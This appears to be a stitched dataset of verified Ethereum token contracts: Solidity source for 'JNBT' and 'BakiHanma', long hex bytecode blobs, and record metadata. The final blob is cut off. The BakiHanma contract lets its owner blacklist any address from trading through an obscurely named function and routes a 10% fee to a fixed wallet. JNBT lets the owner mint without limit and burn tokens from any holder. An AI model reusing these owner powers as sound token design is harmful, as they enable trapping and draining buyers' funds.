The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: Token-contracts/ERC20.sol contract JNBT is ERC20, Ownable { constructor () public ERC20 ("JNBT Token", "JNBT", 18) { _mint(msg.sender, 10000000000E18); } /** * @dev Mint new tokens, increasing the total supply and balance of "account" * Can only be called by the current owner. */ function mint(address account, uint256 value) public onlyOwner { _mint(account, value); } /** * @dev Burns token balance in "account" and decrease totalsupply of token * Can only be called by the current owner. */ function burn(address account, uint256 value) public onlyOwner { _burn(account, value); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610310578063a9059cbb1461033c578063dd62ed3e14610368578063f2fde38b1461039657610100565b8063715018a6146102b05780638da5cb5b146102b857806395d89b41146102dc5780639dc29fac146102e457610100565b8063313ce567116100d3578063313ce56714610212578063395093511461023057806340c10f191461025c57806370a082311461028a57610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d6103bc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610452565b604080519115158252519081900360200190f35b6101ca6104ce565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b038135811691602081013590911690604001356104d4565b61021a61059d565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561024657600080fd5b506001600160a01b0381351690602001356105a6565b6102886004803603604081101561027257600080fd5b506001600160a01b038135169060200135610654565b005b6101ca600480360360208110156102a057600080fd5b50356001600160a01b03166106bf565b6102886106da565b6102c0610787565b604080516001600160a01b039092168252519081900360200190f35b61010d61079b565b610288600480360360408110156102fa57600080fd5b506001600160a01b0381351690602001356107fc565b6101ae6004803603604081101561032657600080fd5b506001600160a01b038135169060200135610863565b6101ae6004803603604081101561035257600080fd5b506001600160a01b0381351690602001356108ac565b6101ca6004803603604081101561037e57600080fd5b506001600160a01b03813581169160200135166108c2565b610288600480360360208110156103ac57600080fd5b50356001600160a01b03166108ed565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b60006001600160a01b03831661046757600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b0383166000908152600160209081526040808320338452909152812054610508908363ffffffff610a0f16565b6001600160a01b0385166000908152600160209081526040808320338452909152902055610537848484610a24565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b0383166105bb57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff6109f616565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b61065c610aef565b60055461010090046001600160a01b039081169116146106b1576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610af3565b5050565b6001600160a01b031660009081526020819052604090205490565b6106e2610aef565b60055461010090046001600160a01b03908116911614610737576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b610804610aef565b60055461010090046001600160a01b03908116911614610859576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610b9b565b60006001600160a01b03831661087857600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff610a0f16565b60006108b9338484610a24565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108f5610aef565b60055461010090046001600160a01b0390811691161461094a576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6001600160a01b03811661098f5760405162461bcd60e51b8152600401808060200182810382526026815260200180610c436026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600082820183811015610a0857600080fd5b9392505050565b600082821115610a1e57600080fd5b50900390565b6001600160a01b038216610a3757600080fd5b6001600160a01b038316600090815260208190526040902054610a60908263ffffffff610a0f16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a95908263ffffffff6109f616565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610b0657600080fd5b600254610b19908263ffffffff6109f616565b6002556001600160a01b038216600090815260208190526040902054610b45908263ffffffff6109f616565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216610bae57600080fd5b600254610bc1908263ffffffff610a0f16565b6002556001600160a01b038216600090815260208190526040902054610bed908263ffffffff610a0f16565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212207135dbf039eca25d7635c4315bb53a4d5611a300dcdd31fddfe067d38dd858d864736f6c634300060a0033
{"success": true, "error": null, "results": {}}
7,246
0x66c31ba1d2b13682727b8a30c8446773d2209933
/** *Submitted for verification at Etherscan.io on 2022-04-15 */ /** 🎙 Telegram:- https://t.me/bakihanmatoken 🎙 Twitter:- https://twitter.com/Bakihanmatoken */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BakiHanma is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "BakiHanma"; string private constant _symbol = "BakiHanma"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x5Dd41dF7FcDE00B3aC0F4044688EB357C726bc1c); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2000000 * 10**9; _maxWalletSize = 3000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612713565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127dd565b6104b4565b60405161018e9190612838565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612862565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129c5565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a0e565b61060c565b60405161021f9190612838565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a61565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612aaa565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612af1565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b1e565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a61565b6109db565b6040516103199190612862565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612b5a565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612713565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127dd565b610c9a565b6040516103da9190612838565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b1e565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b75565b611328565b60405161046e9190612862565b60405180910390f35b60606040518060400160405280600981526020017f42616b6948616e6d610000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113af565b84846113b7565b6001905092915050565b600067016345785d8a0000905090565b6104ea6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612c01565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c21565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612c7f565b91505061057a565b5050565b6000610619848484611580565b6106da846106256113af565b6106d5856040518060600160405280602881526020016136b660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c119092919063ffffffff16565b6113b7565b600190509392505050565b6106ed6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c01565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612c01565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612c01565b60405180910390fd5b6000811161093257600080fd5b61096060646109528367016345785d8a0000611c7590919063ffffffff16565b611cef90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113af565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d39565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da5565b9050919050565b610a346113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612c01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612c01565b60405180910390fd5b67016345785d8a0000600f8190555067016345785d8a0000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f42616b6948616e6d610000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113af565b8484611580565b6001905092915050565b610cc06113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612c01565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a8367016345785d8a0000611c7590919063ffffffff16565b611cef90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113af565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e13565b50565b610e136113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612c01565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d13565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a00006113b7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d48565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d48565b6040518363ffffffff1660e01b8152600401611096929190612d75565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d48565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612de3565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612e59565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555066071afd498d0000600f81905550660aa87bee5380006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e1929190612eac565b6020604051808303816000875af1158015611300573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113249190612eea565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141d90612f89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148c9061301b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115739190612862565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e6906130ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361165e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116559061313f565b60405180910390fd5b600081116116a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611698906131d1565b60405180910390fd5b6000600a81905550600a600b819055506116b9610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172757506116f